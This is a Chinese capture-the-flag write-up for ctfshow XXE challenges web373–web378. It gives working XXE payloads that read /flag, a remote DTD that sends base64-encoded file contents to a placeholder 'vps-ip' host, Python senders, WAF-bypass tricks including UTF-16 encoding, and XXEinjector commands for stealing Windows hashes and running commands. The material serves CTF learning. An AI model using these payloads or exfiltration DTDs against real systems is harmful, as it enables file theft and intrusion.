Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

这篇具有很好参考价值的文章主要介绍了Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFshow XXE web373

学习资料: (梭哈~)

https://www.cnblogs.com/20175211lyz/p/11413335.html

https://www.cnblogs.com/zhaijiahui/p/9147595.html

https://www.cnblogs.com/r00tuser/p/7255939.html

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

https://security.tencent.com/index.php/blog/msg/69

https://xz.aliyun.com/t/6754

https://xz.aliyun.com/t/3357#toc-8

https://www.freebuf.com/vuls/194112.html

https://www.freebuf.com/column/181064.html

https://blog.csdn.net/weixin_49656607/article/details/119921234

XXEinjector:一款功能强大的自动化XXE注射工具 - FreeBuf网络安全行业门户

考点:有回显XXE,外部实体。

直接给了源码

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    //生成一个Document
    $dom = new DOMDocument();
    // 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集
    //LIBXML_NOENT 是替代实体
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
    $creds = simplexml_import_dom($dom);
  	// 通过箭头表达式引用。
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);  

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!-- 定义hacker变量 -->
<!-- 外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。注入实体,值为根目录下flag文件内容 -->
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 
<!-- -->
<root>
<!-- PHP中$ctfshow = $creds->ctfshow; -->
    <ctfshow>
<!-- 读取hacker变量 -->
        &hacker;
    </ctfshow>
</root>

只能在bp里面发这个POST数据。hackbar发POST如果不是键值对形式,POST数据不会发送。

这个payload只限于猜文件名或者知道文件名。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml



XXEinjector使用教程:

https://www.freebuf.com/column/170971.html

https://www.cnblogs.com/bmjoker/p/9614990.html

安装XXEinjector方式(Kali):

Kali 安装 Ruby环境 和 XXE神器XXEinjector 教程_Jay 17的博客-CSDN博客

1、sudo su  进入root权限
2、apt install ruby    安装ruby环境
3、ruby  -v    查看ruby是否安装成功以及安装版本
4、git clone https://github.com/enjoiz/XXEinjector/  
从GitHub下载XXEinjector
5、XXEinjector文件夹下开终端
6、ruby XXEinjector.rb   检查是否安装成功

基本使用方式:

枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

CTFshow XXE web374

考点:无回显XXE,外部实体。

直接给了源码。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

比上题少了几行代码,分别是
$creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow;

导致了这题可以注入实体但是没有回显,所以我们考虑数据外带。访问一个请求,把数据加到请求上。

payload:

<?xml version="1.0" encoding="UTF-8"?>

<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 
<!-- 不能直接<!ENTITY  % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(&#x25; vps),那就会解析(&#x25; vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->

<root>
1
</root>

test.dtd(放vps上面)内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://vps-ip:port/%file;'> ">
<!-- &#x25; 就是百分号(&#x25; vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 -->
<!-- 如果选择nc监听的话,端口一定要加!!! -->
<!-- 如果选择看日志的话,端口一定不能加!!! -->

<!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%vps;

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

这里Content-Type是不是application/xml没有关系。


自动化脚本:

import requests

url = ''
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://vps-ip/text.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-8')
requests.post(url ,data=payload)

同时我看网上也有师傅接受请求用的是vps上文件,就是先发送到vps上的dtd文件,dtd文件再转发到vps上一个php文件,php文件接受请求后写入一个txt文件。

想了一下,这个的原理其实和监听端口是一样的,都是XXE注入,通过请求自己vps带出数据,区别就在于带出的数据vps如何反馈给我们。


CTFshow XXE web375

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

相较于上题,多了一个正则表达式,过滤了<?xml version="1.0"这个字符串


绕过方法一:

web374的payload直接不写XML头(XML声明)。

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

这里Content-Type是不是application/xml还是没有关系。


绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

<?xml  version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

这里Content-Type是不是application/xml还是没有关系。


绕过方法三:

单引号绕过,代替双引号。过滤的是<?xml version="1.0",关我<?xml version='1.0'。 [狗头]

<?xml version='1.0' encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

CTFshow XXE web376

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

相较于上题,过滤了<?xml version="1.0"这个字符串同时,/i模式把大小写都过滤了。过滤大小写没什么用,没有啥绕过方式是大小写绕过的。


绕过方法一:

web374的payload直接不写XML头(XML声明)。

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

这里Content-Type是不是application/xml还是没有关系。


绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

<?xml  version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

这里Content-Type是不是application/xml还是没有关系。


绕过方法三:

单引号绕过,代替双引号。过滤的是<?xml version="1.0",关我<?xml version='1.0'。 [狗头]

<?xml version='1.0' encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

CTFshow XXE web377

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

比之前几题多过滤了一个http。能绕,开绕!


绕过方法:

编码绕过,用脚本把web374的payload转为utf-16编码。

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

import requests

url = 'http://a83196d0-7399-4a44-9601-23509c34a124.challenge.ctf.show/'

#注意这里是单引号,为了绕过过滤
payload = """<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">

    %myurl;
]> 

<root>
1
</root>
"""
payload = payload.encode('utf-16')
print(requests.post(url ,data=payload).text)

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

CTFshow XXE web378

题目描述:python X

考点:无回显XXE,外部实体,绕过过滤。

开题是一个登录框

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

F12直接能看见源码,一眼XXE。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

随便输入抓个包,一眼XXE,节点名字都告诉我们了。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml

payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username><password>&xxe;</password></user>

在路由/doLogin下发POST包。

burp坏了,拿python发送一个。

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全,CTFSHOW web入门 wp合集,web安全,网络安全,代码复审,PHP,XXE,xml文章来源地址https://www.toymoban.com/news/detail-638972.html

到了这里,关于Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Ctfshow web入门 JWT篇 web345-web350 详细题解 全

    先看题目,提示admin。 抓个包看看看。 好吧我不装了,其实我知道是JWT。直接开做。 在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥。 全称是JSON Web Token。 通俗地说, JWT的本质就是一个字符串 ,它是将用户信息保存到一个Json字符串中,然后进行编码后得

    2024年02月13日
    浏览(35)
  • Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

    这里插一句。 limit 100,1 是从第100条数据开始,读取1条数据。 limit 6 是读取前6条数据。 报错注入 绕过字符串返回长度限制。 盲注 布尔和时间都可以的。 闭合换成了 \\\" 。其他和上题一样。 ctfshow–flagpa–flag3a3– 测一下回显位 布尔盲注还是能用。不过这次我们换个方法。 它

    2024年02月15日
    浏览(35)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(42)
  • SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

    由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。 本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解

    2024年02月08日
    浏览(34)
  • SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)

    由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。 但是ctfshow web入门370关相对于ctfshow web入门369关多过滤数字,就是我们不

    2024年02月04日
    浏览(28)
  • Web攻防--Java_SQL注入--XXE注入-- SSTI模板注入--SPEL表达式注入

    编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作, 预编译技术会让数据库跳过编译阶段,也就无法就进行词法分析,不会被拆开,注入语句也就不会被识别为SQL的,从而防止恶意注入语句改变原有SQL语句本身逻辑。 在使用JDBC进行数据

    2024年02月09日
    浏览(53)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 持续更新中(预计8.18完成)~

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月12日
    浏览(30)
  • ctfshow web入门 sql注入

    sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结; 本题类型 联合注入 第一种方法 万能密码  第二种方法 联合注入 这是按照数据库中有3个数据库进行,因为题目一般为3,当然也可以使用查询语句进行查询,语句如

    2024年02月21日
    浏览(26)
  • CTFShow-WEB入门篇命令执行详细Wp(29-40)

    CTFShow 平台:https://ctf.show/ preg_match():函数执行一个正则表达式匹配。 这里过滤了 flag/i 过滤的不是很多就两个所以方法有很多种 ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198} 过滤了 flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。 命令执行函数: passthru、she

    2024年02月10日
    浏览(31)
  • Day66:WEB攻防-Java安全&SPEL表达式&SSTI模版注入&XXE&JDBC&MyBatis注入

    目录 JavaSec搭建 Hello-Java-Sec搭建 Java安全-SQL注入-JDBCMyBatis JDBC:Java语言连接数据库操作 MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc) 代码审计案例:inxedu后台MyBatis注入 Java安全-XXE注入-ReaderBuilder 配置XML允许引入外部解析实体 白盒测试-XXE Java安全-SSTI模版

    2024年04月25日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包